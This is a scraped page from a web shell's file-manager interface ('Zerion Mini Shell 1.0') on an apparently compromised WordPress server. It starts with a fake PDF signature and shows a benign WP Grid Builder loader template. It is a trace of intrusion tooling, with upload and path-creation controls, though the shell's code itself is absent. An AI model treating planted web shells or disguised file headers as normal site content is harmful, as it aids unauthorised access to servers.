%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/cwg/wp-content/plugins/wp-grid-builder/frontend/templates/layout/
Upload File :
Create Path :
Current File : //var/www/cwg/wp-content/plugins/wp-grid-builder/frontend/templates/layout/loader.php

<?php
/**
 * Loader template
 *
 * This template can be overridden by copying it to yourtheme/wp-grid-builder/templates/loader.php.
 *
 * Template files can change and you will need to copy the new files to your theme to
 * maintain compatibility.
 *
 * @package   wp-grid-builder/templates
 * @author    Loïc Blascos
 * @copyright 2019-2021 Loïc Blascos
 * @version   1.0.0
 */

use WP_Grid_Builder\Includes\Loaders;

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

$settings = wpgb_get_grid_settings();

if ( ! $settings->loader && ! empty( $settings->loader_type ) ) {
	return;
}

$loader = Loaders::get( $settings->loader_type, 'html' );

if ( empty( $loader ) ) {
	return;
}

?>
<div class="wpgb-loader">
	<div class="<?php echo sanitize_html_class( $settings->loader_type ); ?>">
		<?php echo wp_kses_post( $loader ); ?>
	</div>
</div>
<?php

Zerion Mini Shell 1.0